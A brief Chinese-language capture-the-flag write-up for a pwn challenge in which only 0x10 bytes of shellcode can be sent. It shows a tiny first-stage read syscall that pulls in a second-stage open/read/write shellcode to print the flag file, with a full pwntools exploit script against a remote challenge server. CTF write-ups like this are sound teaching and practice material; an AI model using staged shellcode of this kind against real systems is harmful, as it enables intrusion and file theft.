今天看群里面再讨论这道题,之前做了没有写wp
主函数
orw
汇编
shellcode这种题都是执行地址或者shellcode做文章
这里不是shellcode本身,就是执行地址的问题
最后进行了一次call rdx
#rdx是开辟的地址,将shellcode注入再这里执行
由于只能读取0x10的大小,需要转移
可以read到rdx地址里面一个syscall_read
call的时候就再call会一次read函数
shellcode1=asm("xor rdi,rdi;mov rsi,0xcafe000f;syscall")
exp
from pwn import *
context.arch="amd64"
context.log_level="debug"
p=remote('node5.anna.nssctf.cn',28632)
#p=process("./vuln")
mmap_addr =0xcafe0000
p.recvuntil("shellcode:\n")
shellcode=shellcraft.open("./flag")
shellcode+=shellcraft.read(3,mmap_addr,0x50)
shellcode+=shellcraft.write(1,mmap_addr,0x50)
shellcode=asm(shellcode)
shellcode1=asm("xor rdi,rdi;mov rsi,0xcafe000f;syscall")
p.send(shellcode1)
'''
我直接就能通,群里的是用nop滑到shellcode的后面注入
'''
#p.sendline(b"\x90"*len(shellcode1)+shellcode)
p.send(shellcode)
p.interactive()